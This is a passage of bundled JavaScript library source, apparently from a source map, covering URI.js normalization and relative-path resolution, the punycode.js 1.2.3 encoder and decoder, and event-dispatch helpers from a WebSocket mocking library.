.normalizeQuery(false)\n      .normalizeFragment(false)\n      .build();\n  };\n  p.normalizeProtocol = function(build) {\n    if (typeof this._parts.protocol === 'string') {\n      this._parts.protocol = this._parts.protocol.toLowerCase();\n      this.build(!build);\n    }\n\n    return this;\n  };\n  p.normalizeHostname = function(build) {\n    if (this._parts.hostname) {\n      if (this.is('IDN') && punycode) {\n        this._parts.hostname = punycode.toASCII(this._parts.hostname);\n      } else if (this.is('IPv6') && IPv6) {\n        this._parts.hostname = IPv6.best(this._parts.hostname);\n      }\n\n      this._parts.hostname = this._parts.hostname.toLowerCase();\n      this.build(!build);\n    }\n\n    return this;\n  };\n  p.normalizePort = function(build) {\n    // remove port of it's the protocol's default\n    if (typeof this._parts.protocol === 'string' && this._parts.port === URI.defaultPorts[this._parts.protocol]) {\n      this._parts.port = null;\n      this.build(!build);\n    }\n\n    return this;\n  };\n  p.normalizePath = function(build) {\n    var _path = this._parts.path;\n    if (!_path) {\n      return this;\n    }\n\n    if (this._parts.urn) {\n      this._parts.path = URI.recodeUrnPath(this._parts.path);\n      this.build(!build);\n      return this;\n    }\n\n    if (this._parts.path === '/') {\n      return this;\n    }\n\n    var _was_relative;\n    var _leadingParents = '';\n    var _parent, _pos;\n\n    // handle relative paths\n    if (_path.charAt(0) !== '/') {\n      _was_relative = true;\n      _path = '/' + _path;\n    }\n\n    // handle relative files (as opposed to directories)\n    if (_path.slice(-3) === '/..' || _path.slice(-2) === '/.') {\n      _path += '/';\n    }\n\n    // resolve simples\n    _path = _path\n      .replace(/(\\/(\\.\\/)+)|(\\/\\.$)/g, '/')\n      .replace(/\\/{2,}/g, '/');\n\n    // remember leading parents\n    if (_was_relative) {\n      _leadingParents = _path.substring(1).match(/^(\\.\\.\\/)+/) || '';\n      if (_leadingParents) {\n        _leadingParents = _leadingParents[0];\n      }\n    }\n\n    // resolve parents\n    while (true) {\n      _parent = _path.indexOf('/..');\n      if (_parent === -1) {\n        // no more ../ to resolve\n        break;\n      } else if (_parent === 0) {\n        // top level cannot be relative, skip it\n        _path = _path.substring(3);\n        continue;\n      }\n\n      _pos = _path.substring(0, _parent).lastIndexOf('/');\n      if (_pos === -1) {\n        _pos = _parent;\n      }\n      _path = _path.substring(0, _pos) + _path.substring(_parent + 3);\n    }\n\n    // revert to relative\n    if (_was_relative && this.is('relative')) {\n      _path = _leadingParents + _path.substring(1);\n    }\n\n    _path = URI.recodePath(_path);\n    this._parts.path = _path;\n    this.build(!build);\n    return this;\n  };\n  p.normalizePathname = p.normalizePath;\n  p.normalizeQuery = function(build) {\n    if (typeof this._parts.query === 'string') {\n      if (!this._parts.query.length) {\n        this._parts.query = null;\n      } else {\n        this.query(URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace));\n      }\n\n      this.build(!build);\n    }\n\n    return this;\n  };\n  p.normalizeFragment = function(build) {\n    if (!this._parts.fragment) {\n      this._parts.fragment = null;\n      this.build(!build);\n    }\n\n    return this;\n  };\n  p.normalizeSearch = p.normalizeQuery;\n  p.normalizeHash = p.normalizeFragment;\n\n  p.iso8859 = function() {\n    // expect unicode input, iso8859 output\n    var e = URI.encode;\n    var d = URI.decode;\n\n    URI.encode = escape;\n    URI.decode = decodeURIComponent;\n    try {\n      this.normalize();\n    } finally {\n      URI.encode = e;\n      URI.decode = d;\n    }\n    return this;\n  };\n\n  p.unicode = function() {\n    // expect iso8859 input, unicode output\n    var e = URI.encode;\n    var d = URI.decode;\n\n    URI.encode = strictEncodeURIComponent;\n    URI.decode = unescape;\n    try {\n      this.normalize();\n    } finally {\n      URI.encode = e;\n      URI.decode = d;\n    }\n    return this;\n  };\n\n  p.readable = function() {\n    var uri = this.clone();\n    // removing username, password, because they shouldn't be displayed according to RFC 3986\n    uri.username('').password('').normalize();\n    var t = '';\n    if (uri._parts.protocol) {\n      t += uri._parts.protocol + '://';\n    }\n\n    if (uri._parts.hostname) {\n      if (uri.is('punycode') && punycode) {\n        t += punycode.toUnicode(uri._parts.hostname);\n        if (uri._parts.port) {\n          t += ':' + uri._parts.port;\n        }\n      } else {\n        t += uri.host();\n      }\n    }\n\n    if (uri._parts.hostname && uri._parts.path && uri._parts.path.charAt(0) !== '/') {\n      t += '/';\n    }\n\n    t += uri.path(true);\n    if (uri._parts.query) {\n      var q = '';\n      for (var i = 0, qp = uri._parts.query.split('&'), l = qp.length; i < l; i++) {\n        var kv = (qp[i] || '').split('=');\n        q += '&' + URI.decodeQuery(kv[0], this._parts.escapeQuerySpace)\n          .replace(/&/g, '%26');\n\n        if (kv[1] !== undefined) {\n          q += '=' + URI.decodeQuery(kv[1], this._parts.escapeQuerySpace)\n            .replace(/&/g, '%26');\n        }\n      }\n      t += '?' + q.substring(1);\n    }\n\n    t += URI.decodeQuery(uri.hash(), true);\n    return t;\n  };\n\n  // resolving relative and absolute URLs\n  p.absoluteTo = function(base) {\n    var resolved = this.clone();\n    var properties = ['protocol', 'username', 'password', 'hostname', 'port'];\n    var basedir, i, p;\n\n    if (this._parts.urn) {\n      throw new Error('URNs do not have any generally defined hierarchical components');\n    }\n\n    if (!(base instanceof URI)) {\n      base = new URI(base);\n    }\n\n    if (!resolved._parts.protocol) {\n      resolved._parts.protocol = base._parts.protocol;\n    }\n\n    if (this._parts.hostname) {\n      return resolved;\n    }\n\n    for (i = 0; (p = properties[i]); i++) {\n      resolved._parts[p] = base._parts[p];\n    }\n\n    if (!resolved._parts.path) {\n      resolved._parts.path = base._parts.path;\n      if (!resolved._parts.query) {\n        resolved._parts.query = base._parts.query;\n      }\n    } else if (resolved._parts.path.substring(-2) === '..') {\n      resolved._parts.path += '/';\n    }\n\n    if (resolved.path().charAt(0) !== '/') {\n      basedir = base.directory();\n      basedir = basedir ? basedir : base.path().indexOf('/') === 0 ? '/' : '';\n      resolved._parts.path = (basedir ? (basedir + '/') : '') + resolved._parts.path;\n      resolved.normalizePath();\n    }\n\n    resolved.build();\n    return resolved;\n  };\n  p.relativeTo = function(base) {\n    var relative = this.clone().normalize();\n    var relativeParts, baseParts, common, relativePath, basePath;\n\n    if (relative._parts.urn) {\n      throw new Error('URNs do not have any generally defined hierarchical components');\n    }\n\n    base = new URI(base).normalize();\n    relativeParts = relative._parts;\n    baseParts = base._parts;\n    relativePath = relative.path();\n    basePath = base.path();\n\n    if (relativePath.charAt(0) !== '/') {\n      throw new Error('URI is already relative');\n    }\n\n    if (basePath.charAt(0) !== '/') {\n      throw new Error('Cannot calculate a URI relative to another relative URI');\n    }\n\n    if (relativeParts.protocol === baseParts.protocol) {\n      relativeParts.protocol = null;\n    }\n\n    if (relativeParts.username !== baseParts.username || relativeParts.password !== baseParts.password) {\n      return relative.build();\n    }\n\n    if (relativeParts.protocol !== null || relativeParts.username !== null || relativeParts.password !== null) {\n      return relative.build();\n    }\n\n    if (relativeParts.hostname === baseParts.hostname && relativeParts.port === baseParts.port) {\n      relativeParts.hostname = null;\n      relativeParts.port = null;\n    } else {\n      return relative.build();\n    }\n\n    if (relativePath === basePath) {\n      relativeParts.path = '';\n      return relative.build();\n    }\n\n    // determine common sub path\n    common = URI.commonPath(relativePath, basePath);\n\n    // If the paths have nothing in common, return a relative URL with the absolute path.\n    if (!common) {\n      return relative.build();\n    }\n\n    var parents = baseParts.path\n      .substring(common.length)\n      .replace(/[^\\/]*$/, '')\n      .replace(/.*?\\//g, '../');\n\n    relativeParts.path = (parents + relativeParts.path.substring(common.length)) || './';\n\n    return relative.build();\n  };\n\n  // comparing URIs\n  p.equals = function(uri) {\n    var one = this.clone();\n    var two = new URI(uri);\n    var one_map = {};\n    var two_map = {};\n    var checked = {};\n    var one_query, two_query, key;\n\n    one.normalize();\n    two.normalize();\n\n    // exact match\n    if (one.toString() === two.toString()) {\n      return true;\n    }\n\n    // extract query string\n    one_query = one.query();\n    two_query = two.query();\n    one.query('');\n    two.query('');\n\n    // definitely not equal if not even non-query parts match\n    if (one.toString() !== two.toString()) {\n      return false;\n    }\n\n    // query parameters have the same length, even if they're permuted\n    if (one_query.length !== two_query.length) {\n      return false;\n    }\n\n    one_map = URI.parseQuery(one_query, this._parts.escapeQuerySpace);\n    two_map = URI.parseQuery(two_query, this._parts.escapeQuerySpace);\n\n    for (key in one_map) {\n      if (hasOwn.call(one_map, key)) {\n        if (!isArray(one_map[key])) {\n          if (one_map[key] !== two_map[key]) {\n            return false;\n          }\n        } else if (!arraysEqual(one_map[key], two_map[key])) {\n          return false;\n        }\n\n        checked[key] = true;\n      }\n    }\n\n    for (key in two_map) {\n      if (hasOwn.call(two_map, key)) {\n        if (!checked[key]) {\n          // two contains a parameter not present in one\n          return false;\n        }\n      }\n    }\n\n    return true;\n  };\n\n  // state\n  p.duplicateQueryParameters = function(v) {\n    this._parts.duplicateQueryParameters = !!v;\n    return this;\n  };\n\n  p.escapeQuerySpace = function(v) {\n    this._parts.escapeQuerySpace = !!v;\n    return this;\n  };\n\n  return URI;\n}));\n","/*! http://mths.be/punycode v1.2.3 by @mathias */\n;(function(root) {\n\n\t/** Detect free variables */\n\tvar freeExports = typeof exports == 'object' && exports;\n\tvar freeModule = typeof module == 'object' && module &&\n\t\tmodule.exports == freeExports && module;\n\tvar freeGlobal = typeof global == 'object' && global;\n\tif (freeGlobal.global === freeGlobal || freeGlobal.window === freeGlobal) {\n\t\troot = freeGlobal;\n\t}\n\n\t/**\n\t * The `punycode` object.\n\t * @name punycode\n\t * @type Object\n\t */\n\tvar punycode,\n\n\t/** Highest positive signed 32-bit float value */\n\tmaxInt = 2147483647, // aka. 0x7FFFFFFF or 2^31-1\n\n\t/** Bootstring parameters */\n\tbase = 36,\n\ttMin = 1,\n\ttMax = 26,\n\tskew = 38,\n\tdamp = 700,\n\tinitialBias = 72,\n\tinitialN = 128, // 0x80\n\tdelimiter = '-', // '\\x2D'\n\n\t/** Regular expressions */\n\tregexPunycode = /^xn--/,\n\tregexNonASCII = /[^ -~]/, // unprintable ASCII chars + non-ASCII chars\n\tregexSeparators = /\\x2E|\\u3002|\\uFF0E|\\uFF61/g, // RFC 3490 separators\n\n\t/** Error messages */\n\terrors = {\n\t\t'overflow': 'Overflow: input needs wider integers to process',\n\t\t'not-basic': 'Illegal input >= 0x80 (not a basic code point)',\n\t\t'invalid-input': 'Invalid input'\n\t},\n\n\t/** Convenience shortcuts */\n\tbaseMinusTMin = base - tMin,\n\tfloor = Math.floor,\n\tstringFromCharCode = String.fromCharCode,\n\n\t/** Temporary variable */\n\tkey;\n\n\t/*--------------------------------------------------------------------------*/\n\n\t/**\n\t * A generic error utility function.\n\t * @private\n\t * @param {String} type The error type.\n\t * @returns {Error} Throws a `RangeError` with the applicable error message.\n\t */\n\tfunction error(type) {\n\t\tthrow RangeError(errors[type]);\n\t}\n\n\t/**\n\t * A generic `Array#map` utility function.\n\t * @private\n\t * @param {Array} array The array to iterate over.\n\t * @param {Function} callback The function that gets called for every array\n\t * item.\n\t * @returns {Array} A new array of values returned by the callback function.\n\t */\n\tfunction map(array, fn) {\n\t\tvar length = array.length;\n\t\twhile (length--) {\n\t\t\tarray[length] = fn(array[length]);\n\t\t}\n\t\treturn array;\n\t}\n\n\t/**\n\t * A simple `Array#map`-like wrapper to work with domain name strings.\n\t * @private\n\t * @param {String} domain The domain name.\n\t * @param {Function} callback The function that gets called for every\n\t * character.\n\t * @returns {Array} A new string of characters returned by the callback\n\t * function.\n\t */\n\tfunction mapDomain(string, fn) {\n\t\treturn map(string.split(regexSeparators), fn).join('.');\n\t}\n\n\t/**\n\t * Creates an array containing the numeric code points of each Unicode\n\t * character in the string. While JavaScript uses UCS-2 internally,\n\t * this function will convert a pair of surrogate halves (each of which\n\t * UCS-2 exposes as separate characters) into a single code point,\n\t * matching UTF-16.\n\t * @see `punycode.ucs2.encode`\n\t * @see <http://mathiasbynens.be/notes/javascript-encoding>\n\t * @memberOf punycode.ucs2\n\t * @name decode\n\t * @param {String} string The Unicode input string (UCS-2).\n\t * @returns {Array} The new array of code points.\n\t */\n\tfunction ucs2decode(string) {\n\t\tvar output = [],\n\t\t    counter = 0,\n\t\t    length = string.length,\n\t\t    value,\n\t\t    extra;\n\t\twhile (counter < length) {\n\t\t\tvalue = string.charCodeAt(counter++);\n\t\t\tif (value >= 0xD800 && value <= 0xDBFF && counter < length) {\n\t\t\t\t// high surrogate, and there is a next character\n\t\t\t\textra = string.charCodeAt(counter++);\n\t\t\t\tif ((extra & 0xFC00) == 0xDC00) { // low surrogate\n\t\t\t\t\toutput.push(((value & 0x3FF) << 10) + (extra & 0x3FF) + 0x10000);\n\t\t\t\t} else {\n\t\t\t\t\t// unmatched surrogate; only append this code unit, in case the next\n\t\t\t\t\t// code unit is the high surrogate of a surrogate pair\n\t\t\t\t\toutput.push(value);\n\t\t\t\t\tcounter--;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\toutput.push(value);\n\t\t\t}\n\t\t}\n\t\treturn output;\n\t}\n\n\t/**\n\t * Creates a string based on an array of numeric code points.\n\t * @see `punycode.ucs2.decode`\n\t * @memberOf punycode.ucs2\n\t * @name encode\n\t * @param {Array} codePoints The array of numeric code points.\n\t * @returns {String} The new Unicode string (UCS-2).\n\t */\n\tfunction ucs2encode(array) {\n\t\treturn map(array, function(value) {\n\t\t\tvar output = '';\n\t\t\tif (value > 0xFFFF) {\n\t\t\t\tvalue -= 0x10000;\n\t\t\t\toutput += stringFromCharCode(value >>> 10 & 0x3FF | 0xD800);\n\t\t\t\tvalue = 0xDC00 | value & 0x3FF;\n\t\t\t}\n\t\t\toutput += stringFromCharCode(value);\n\t\t\treturn output;\n\t\t}).join('');\n\t}\n\n\t/**\n\t * Converts a basic code point into a digit/integer.\n\t * @see `digitToBasic()`\n\t * @private\n\t * @param {Number} codePoint The basic numeric code point value.\n\t * @returns {Number} The numeric value of a basic code point (for use in\n\t * representing integers) in the range `0` to `base - 1`, or `base` if\n\t * the code point does not represent a value.\n\t */\n\tfunction basicToDigit(codePoint) {\n\t\tif (codePoint - 48 < 10) {\n\t\t\treturn codePoint - 22;\n\t\t}\n\t\tif (codePoint - 65 < 26) {\n\t\t\treturn codePoint - 65;\n\t\t}\n\t\tif (codePoint - 97 < 26) {\n\t\t\treturn codePoint - 97;\n\t\t}\n\t\treturn base;\n\t}\n\n\t/**\n\t * Converts a digit/integer into a basic code point.\n\t * @see `basicToDigit()`\n\t * @private\n\t * @param {Number} digit The numeric value of a basic code point.\n\t * @returns {Number} The basic code point whose value (when used for\n\t * representing integers) is `digit`, which needs to be in the range\n\t * `0` to `base - 1`. If `flag` is non-zero, the uppercase form is\n\t * used; else, the lowercase form is used. The behavior is undefined\n\t * if `flag` is non-zero and `digit` has no uppercase form.\n\t */\n\tfunction digitToBasic(digit, flag) {\n\t\t//  0..25 map to ASCII a..z or A..Z\n\t\t// 26..35 map to ASCII 0..9\n\t\treturn digit + 22 + 75 * (digit < 26) - ((flag != 0) << 5);\n\t}\n\n\t/**\n\t * Bias adaptation function as per section 3.4 of RFC 3492.\n\t * http://tools.ietf.org/html/rfc3492#section-3.4\n\t * @private\n\t */\n\tfunction adapt(delta, numPoints, firstTime) {\n\t\tvar k = 0;\n\t\tdelta = firstTime ? floor(delta / damp) : delta >> 1;\n\t\tdelta += floor(delta / numPoints);\n\t\tfor (/* no initialization */; delta > baseMinusTMin * tMax >> 1; k += base) {\n\t\t\tdelta = floor(delta / baseMinusTMin);\n\t\t}\n\t\treturn floor(k + (baseMinusTMin + 1) * delta / (delta + skew));\n\t}\n\n\t/**\n\t * Converts a Punycode string of ASCII-only symbols to a string of Unicode\n\t * symbols.\n\t * @memberOf punycode\n\t * @param {String} input The Punycode string of ASCII-only symbols.\n\t * @returns {String} The resulting string of Unicode symbols.\n\t */\n\tfunction decode(input) {\n\t\t// Don't use UCS-2\n\t\tvar output = [],\n\t\t    inputLength = input.length,\n\t\t    out,\n\t\t    i = 0,\n\t\t    n = initialN,\n\t\t    bias = initialBias,\n\t\t    basic,\n\t\t    j,\n\t\t    index,\n\t\t    oldi,\n\t\t    w,\n\t\t    k,\n\t\t    digit,\n\t\t    t,\n\t\t    length,\n\t\t    /** Cached calculation results */\n\t\t    baseMinusT;\n\n\t\t// Handle the basic code points: let `basic` be the number of input code\n\t\t// points before the last delimiter, or `0` if there is none, then copy\n\t\t// the first basic code points to the output.\n\n\t\tbasic = input.lastIndexOf(delimiter);\n\t\tif (basic < 0) {\n\t\t\tbasic = 0;\n\t\t}\n\n\t\tfor (j = 0; j < basic; ++j) {\n\t\t\t// if it's not a basic code point\n\t\t\tif (input.charCodeAt(j) >= 0x80) {\n\t\t\t\terror('not-basic');\n\t\t\t}\n\t\t\toutput.push(input.charCodeAt(j));\n\t\t}\n\n\t\t// Main decoding loop: start just after the last delimiter if any basic code\n\t\t// points were copied; start at the beginning otherwise.\n\n\t\tfor (index = basic > 0 ? basic + 1 : 0; index < inputLength; /* no final expression */) {\n\n\t\t\t// `index` is the index of the next character to be consumed.\n\t\t\t// Decode a generalized variable-length integer into `delta`,\n\t\t\t// which gets added to `i`. The overflow checking is easier\n\t\t\t// if we increase `i` as we go, then subtract off its starting\n\t\t\t// value at the end to obtain `delta`.\n\t\t\tfor (oldi = i, w = 1, k = base; /* no condition */; k += base) {\n\n\t\t\t\tif (index >= inputLength) {\n\t\t\t\t\terror('invalid-input');\n\t\t\t\t}\n\n\t\t\t\tdigit = basicToDigit(input.charCodeAt(index++));\n\n\t\t\t\tif (digit >= base || digit > floor((maxInt - i) / w)) {\n\t\t\t\t\terror('overflow');\n\t\t\t\t}\n\n\t\t\t\ti += digit * w;\n\t\t\t\tt = k <= bias ? tMin : (k >= bias + tMax ? tMax : k - bias);\n\n\t\t\t\tif (digit < t) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tbaseMinusT = base - t;\n\t\t\t\tif (w > floor(maxInt / baseMinusT)) {\n\t\t\t\t\terror('overflow');\n\t\t\t\t}\n\n\t\t\t\tw *= baseMinusT;\n\n\t\t\t}\n\n\t\t\tout = output.length + 1;\n\t\t\tbias = adapt(i - oldi, out, oldi == 0);\n\n\t\t\t// `i` was supposed to wrap around from `out` to `0`,\n\t\t\t// incrementing `n` each time, so we'll fix that now:\n\t\t\tif (floor(i / out) > maxInt - n) {\n\t\t\t\terror('overflow');\n\t\t\t}\n\n\t\t\tn += floor(i / out);\n\t\t\ti %= out;\n\n\t\t\t// Insert `n` at position `i` of the output\n\t\t\toutput.splice(i++, 0, n);\n\n\t\t}\n\n\t\treturn ucs2encode(output);\n\t}\n\n\t/**\n\t * Converts a string of Unicode symbols to a Punycode string of ASCII-only\n\t * symbols.\n\t * @memberOf punycode\n\t * @param {String} input The string of Unicode symbols.\n\t * @returns {String} The resulting Punycode string of ASCII-only symbols.\n\t */\n\tfunction encode(input) {\n\t\tvar n,\n\t\t    delta,\n\t\t    handledCPCount,\n\t\t    basicLength,\n\t\t    bias,\n\t\t    j,\n\t\t    m,\n\t\t    q,\n\t\t    k,\n\t\t    t,\n\t\t    currentValue,\n\t\t    output = [],\n\t\t    /** `inputLength` will hold the number of code points in `input`. */\n\t\t    inputLength,\n\t\t    /** Cached calculation results */\n\t\t    handledCPCountPlusOne,\n\t\t    baseMinusT,\n\t\t    qMinusT;\n\n\t\t// Convert the input in UCS-2 to Unicode\n\t\tinput = ucs2decode(input);\n\n\t\t// Cache the length\n\t\tinputLength = input.length;\n\n\t\t// Initialize the state\n\t\tn = initialN;\n\t\tdelta = 0;\n\t\tbias = initialBias;\n\n\t\t// Handle the basic code points\n\t\tfor (j = 0; j < inputLength; ++j) {\n\t\t\tcurrentValue = input[j];\n\t\t\tif (currentValue < 0x80) {\n\t\t\t\toutput.push(stringFromCharCode(currentValue));\n\t\t\t}\n\t\t}\n\n\t\thandledCPCount = basicLength = output.length;\n\n\t\t// `handledCPCount` is the number of code points that have been handled;\n\t\t// `basicLength` is the number of basic code points.\n\n\t\t// Finish the basic string - if it is not empty - with a delimiter\n\t\tif (basicLength) {\n\t\t\toutput.push(delimiter);\n\t\t}\n\n\t\t// Main encoding loop:\n\t\twhile (handledCPCount < inputLength) {\n\n\t\t\t// All non-basic code points < n have been handled already. Find the next\n\t\t\t// larger one:\n\t\t\tfor (m = maxInt, j = 0; j < inputLength; ++j) {\n\t\t\t\tcurrentValue = input[j];\n\t\t\t\tif (currentValue >= n && currentValue < m) {\n\t\t\t\t\tm = currentValue;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Increase `delta` enough to advance the decoder's <n,i> state to <m,0>,\n\t\t\t// but guard against overflow\n\t\t\thandledCPCountPlusOne = handledCPCount + 1;\n\t\t\tif (m - n > floor((maxInt - delta) / handledCPCountPlusOne)) {\n\t\t\t\terror('overflow');\n\t\t\t}\n\n\t\t\tdelta += (m - n) * handledCPCountPlusOne;\n\t\t\tn = m;\n\n\t\t\tfor (j = 0; j < inputLength; ++j) {\n\t\t\t\tcurrentValue = input[j];\n\n\t\t\t\tif (currentValue < n && ++delta > maxInt) {\n\t\t\t\t\terror('overflow');\n\t\t\t\t}\n\n\t\t\t\tif (currentValue == n) {\n\t\t\t\t\t// Represent delta as a generalized variable-length integer\n\t\t\t\t\tfor (q = delta, k = base; /* no condition */; k += base) {\n\t\t\t\t\t\tt = k <= bias ? tMin : (k >= bias + tMax ? tMax : k - bias);\n\t\t\t\t\t\tif (q < t) {\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tqMinusT = q - t;\n\t\t\t\t\t\tbaseMinusT = base - t;\n\t\t\t\t\t\toutput.push(\n\t\t\t\t\t\t\tstringFromCharCode(digitToBasic(t + qMinusT % baseMinusT, 0))\n\t\t\t\t\t\t);\n\t\t\t\t\t\tq = floor(qMinusT / baseMinusT);\n\t\t\t\t\t}\n\n\t\t\t\t\toutput.push(stringFromCharCode(digitToBasic(q, 0)));\n\t\t\t\t\tbias = adapt(delta, handledCPCountPlusOne, handledCPCount == basicLength);\n\t\t\t\t\tdelta = 0;\n\t\t\t\t\t++handledCPCount;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t++delta;\n\t\t\t++n;\n\n\t\t}\n\t\treturn output.join('');\n\t}\n\n\t/**\n\t * Converts a Punycode string representing a domain name to Unicode. Only the\n\t * Punycoded parts of the domain name will be converted, i.e. it doesn't\n\t * matter if you call it on a string that has already been converted to\n\t * Unicode.\n\t * @memberOf punycode\n\t * @param {String} domain The Punycode domain name to convert to Unicode.\n\t * @returns {String} The Unicode representation of the given Punycode\n\t * string.\n\t */\n\tfunction toUnicode(domain) {\n\t\treturn mapDomain(domain, function(string) {\n\t\t\treturn regexPunycode.test(string)\n\t\t\t\t? decode(string.slice(4).toLowerCase())\n\t\t\t\t: string;\n\t\t});\n\t}\n\n\t/**\n\t * Converts a Unicode string representing a domain name to Punycode. Only the\n\t * non-ASCII parts of the domain name will be converted, i.e. it doesn't\n\t * matter if you call it with a domain that's already in ASCII.\n\t * @memberOf punycode\n\t * @param {String} domain The domain name to convert, as a Unicode string.\n\t * @returns {String} The Punycode representation of the given domain name.\n\t */\n\tfunction toASCII(domain) {\n\t\treturn mapDomain(domain, function(string) {\n\t\t\treturn regexNonASCII.test(string)\n\t\t\t\t? 'xn--' + encode(string)\n\t\t\t\t: string;\n\t\t});\n\t}\n\n\t/*--------------------------------------------------------------------------*/\n\n\t/** Define the public API */\n\tpunycode = {\n\t\t/**\n\t\t * A string representing the current Punycode.js version number.\n\t\t * @memberOf punycode\n\t\t * @type String\n\t\t */\n\t\t'version': '1.2.3',\n\t\t/**\n\t\t * An object of methods to convert from JavaScript's internal character\n\t\t * representation (UCS-2) to Unicode code points, and back.\n\t\t * @see <http://mathiasbynens.be/notes/javascript-encoding>\n\t\t * @memberOf punycode\n\t\t * @type Object\n\t\t */\n\t\t'ucs2': {\n\t\t\t'decode': ucs2decode,\n\t\t\t'encode': ucs2encode\n\t\t},\n\t\t'decode': decode,\n\t\t'encode': encode,\n\t\t'toASCII': toASCII,\n\t\t'toUnicode': toUnicode\n\t};\n\n\t/** Expose `punycode` */\n\t// Some AMD build optimizers, like r.js, check for specific condition patterns\n\t// like the following:\n\tif (\n\t\ttypeof define == 'function' &&\n\t\ttypeof define.amd == 'object' &&\n\t\tdefine.amd\n\t) {\n\t\tdefine(function() {\n\t\t\treturn punycode;\n\t\t});\n\t}\telse if (freeExports && !freeExports.nodeType) {\n\t\tif (freeModule) { // in Node.js or RingoJS v0.8.0+\n\t\t\tfreeModule.exports = punycode;\n\t\t} else { // in Narwhal or RingoJS v0.7.0-\n\t\t\tfor (key in punycode) {\n\t\t\t\tpunycode.hasOwnProperty(key) && (freeExports[key] = punycode[key]);\n\t\t\t}\n\t\t}\n\t} else { // in Rhino or a web browser\n\t\troot.punycode = punycode;\n\t}\n\n}(this));\n","'use strict';\n\nObject.defineProperty(exports, '__esModule', {\n  value: true\n});\n\nfunction _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }\n\nvar _helpersEvent = require('./helpers/event');\n\nvar _helpersEvent2 = _interopRequireDefault(_helpersEvent);\n\nvar _helpersMessageEvent = require('./helpers/message-event');\n\nvar _helpersMessageEvent2 = _interopRequireDefault(_helpersMessageEvent);\n\nvar _helpersCloseEvent = require('./helpers/close-event');\n\nvar _helpersCloseEvent2 = _interopRequireDefault(_helpersCloseEvent);\n\n/*\n* Creates an Event object and extends it to allow full modification of\n* its properties.\n*\n* @param {object} config - within config you will need to pass type and optionally target\n*/\nfunction createEvent(config) {\n  var type = config.type;\n  var target = config.target;\n\n  var eventObject = new _helpersEvent2['default'](type);\n\n  if (target) {\n    eventObject.target = target;\n    eventObject.srcElement = target;\n    eventObject.currentTarget = target;\n  }\n\n  return eventObject;\n}\n\n/*\n* Creates a MessageEvent object and extends it to allow full modification of\n* its properties.\n*\n* @param {object} config - within config you will need to pass type, origin, data and optionally target\n*/\nfunction createMessageEvent(config) {\n  var type = config.type;\n  var origin = config.origin;\n  var data = config.data;\n  var target = config.target;\n\n  var messageEvent = new _helpersMessageEvent2['default'](type, {\n    data: data,\n    origin: origin\n  });\n\n  if (target) {\n    messageEvent.target = target;\n    messageEvent.srcElement = target;\n    messageEvent.currentTarget = target;\n  }\n\n  return messageEvent;\n}\n\n/*\n* Creates a CloseEvent object and extends it to allow full modification of\n* its properties.\n*\n* @param {object} config - within config you will need to pass type and optionally target, code, and reason\n*/\nfunction createCloseEvent(config) {\n  var code = config.code;\n  var reason = config.reason;\n  var type = config.type;\n  var target = config.target;\n  var wasClean = config.wasClean;\n\n  if (!wasClean) {\n    wasClean = code === 1000;\n  }\n\n  var closeEvent = new _helpersCloseEvent2['default'](type, {\n    code: code,\n    reason: reason,\n    wasClean: wasClean\n  });\n\n  if (target) {\n    closeEvent.target = target;\n    closeEvent.srcElement = target;\n    closeEvent.currentTarget = target;\n  }\n\n  return closeEvent;\n}\n\nexports.createEvent = createEvent;\nexports.createMessageEvent = createMessageEvent;\nexports.createCloseEvent = createCloseEvent;","'use strict';\n\nObject.defineProperty(exports, '__esModule', {\n  value: true\n});\n\nvar _createClass = (function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ('value' in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; })();\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }\n\nvar _helpersArrayHelpers = require('./helpers/array-helpers');\n\n/*\n* EventTarget is an interface implemented by objects that can\n* receive events and may have listeners for them.\n*\n* https://developer.mozilla.org/en-US/docs/Web/API/EventTarget\n*/\n\nvar EventTarget = (function () {\n  function EventTarget() {\n    _classCallCheck(this, EventTarget);\n\n    this.listeners = {};\n  }\n\n  /*\n  * Ties a listener function to a event type which can later be invoked via the\n  * dispatchEvent method.\n  *\n  * @param {string} type - the type of event (ie: 'open', 'message', etc.)\n  * @param {function} listener - the callback function to invoke whenever a event is dispatched matching the given type\n  * @param {boolean} useCapture - N/A TODO: implement useCapture functionality\n  */\n\n  _createClass(EventTarget, [{\n    key: 'addEventListener',\n    value: function addEventListener(type, listener /* , useCapture */) {\n      if (typeof listener === 'function') {\n        if (!Array.isArray(this.listeners[type])) {\n          this.listeners[type] = [];\n        }\n\n        // Only add the same function once\n        if ((0, _helpersArrayHelpers.filter)(this.listeners[type], function (item) {\n          return item === listener;\n        }).length === 0) {\n          this.listeners[type].push(listener);\n        }\n      }\n    }\n\n    /*\n    * Removes the listener so it will no longer be invoked via the dispatchEvent method.\n    *\n    * @param {string} type - the type of event (ie: 'open', 'message', etc.)\n    * @param {function} listener - the callback function to invoke whenever a event is dispatched matching the given type\n    * @param {boolean} useCapture - N/A TODO: implement useCapture functionality\n    */\n  }, {\n    key: 'removeEventListener',\n    value: function removeEventListener(type, removingListener /* , useCapture */) {\n      var arrayOfListeners = this.listeners[type];\n      this.listeners[type] = (0, _helpersArrayHelpers.reject)(arrayOfListeners, function (listener) {\n        return listener === removingListener;\n      });\n    }\n\n    /*\n    * Invokes all listener functions that are listening to the given event.type property. Each\n    * listener will be passed the event as the first argument.\n    *\n    * @param {object} event - event object which will be passed to all listeners of the event.type property\n    */\n  }, {\n    key: 'dispatchEvent',\n    value: function dispatchEvent(event) {\n      var _this = this;\n\n      for (var _len = arguments.length, customArguments = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {\n        customArguments[_key - 1] = arguments[_key];\n      }\n\n      var eventName = event.type;\n      var listeners = this.listeners[eventName];\n\n      if 